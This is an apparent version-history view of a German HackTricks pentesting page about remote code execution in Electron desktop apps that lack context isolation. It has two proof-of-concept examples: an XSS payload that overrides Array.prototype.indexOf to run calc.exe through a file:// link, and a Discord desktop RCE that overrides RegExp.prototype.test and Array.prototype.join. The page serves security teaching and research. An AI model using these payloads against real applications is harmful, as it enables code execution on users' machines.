hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

105 lines
6.2 KiB
Markdown
Raw Normal View History

2024-02-10 15:36:32 +00:00
# Electron contextIsolation RCE über Preload-Code
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Beispiel 1
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Dieser Code öffnet http(s)-Links mit dem Standardbrowser:
2022-04-20 12:35:33 +00:00
2022-06-27 08:48:17 +00:00
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Etwas wie `file:///C:/Windows/systemd32/calc.exe` könnte verwendet werden, um den Taschenrechner auszuführen. Das `SAFE_PROTOCOLS.indexOf` verhindert dies.
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Daher könnte ein Angreifer diesen JS-Code über XSS oder willkürliche Seiten-Navigation einschleusen:
2022-04-20 12:35:33 +00:00
```html
<script>
Array.prototype.indexOf = function(){
2024-02-10 15:36:32 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
</script>
```
2024-02-10 15:36:32 +00:00
Da der Aufruf von `SAFE_PROTOCOLS.indexOf` immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiger Exploit:
2022-04-20 12:35:33 +00:00
```html
<script>
Array.prototype.indexOf = function(){
2024-02-10 15:36:32 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
2024-02-10 15:36:32 +00:00
Überprüfen Sie die Originalfolien für andere Möglichkeiten, Programme auszuführen, ohne dass eine Berechtigungsabfrage angezeigt wird.
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Anscheinend gibt es eine andere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie `file://127.0.0.1/electron/rce.jar` zugreift.
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
## Beispiel 2: Discord App RCE
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Beim Überprüfen der Preload-Skripte habe ich festgestellt, dass Discord die Funktion freigibt, mit der einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` aufgerufen werden können, in der Webseite.\
Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das Modul _child\_process_, aber ich **habe einen Code gefunden, mit dem RCE erreicht werden kann, indem die JavaScript-internen Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird**.
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Hier ist der PoC. Ich konnte bestätigen, dass die Anwendung **calc** **angezeigt wird**, wenn ich die Funktion `getGPUDriverVersions` aufrufe, die im Modul "_discord\_utils_" definiert ist, während ich **`RegExp.prototype.test` und `Array.prototype.join` überschreibe**.
2022-04-20 12:35:33 +00:00
```javascript
RegExp.prototype.test=function(){
2024-02-10 15:36:32 +00:00
return false;
2022-04-20 12:35:33 +00:00
}
Array.prototype.join=function(){
2024-02-10 15:36:32 +00:00
return "calc";
2022-04-20 12:35:33 +00:00
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
2024-02-10 15:36:32 +00:00
Die Funktion `getGPUDriverVersions` versucht, das Programm mithilfe der "_execa_"-Bibliothek auszuführen, wie folgt:
2022-04-20 12:35:33 +00:00
```javascript
module.exports.getGPUDriverVersions = async () => {
2024-02-10 15:36:32 +00:00
if (process.platform !== 'win32') {
return {};
}
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
return result;
2022-04-20 12:35:33 +00:00
};
```
2024-02-10 15:36:32 +00:00
Normalerweise versucht _execa_, "_nvidia-smi.exe_" auszuführen, das in der Variablen `nvidiaSmiPath` angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` wird jedoch **das Argument in der internen Verarbeitung von \_execa durch "**_**calc**_**" ersetzt**.
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Konkret wird das Argument durch Änderung der folgenden beiden Teile ersetzt.
2022-04-20 12:35:33 +00:00
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>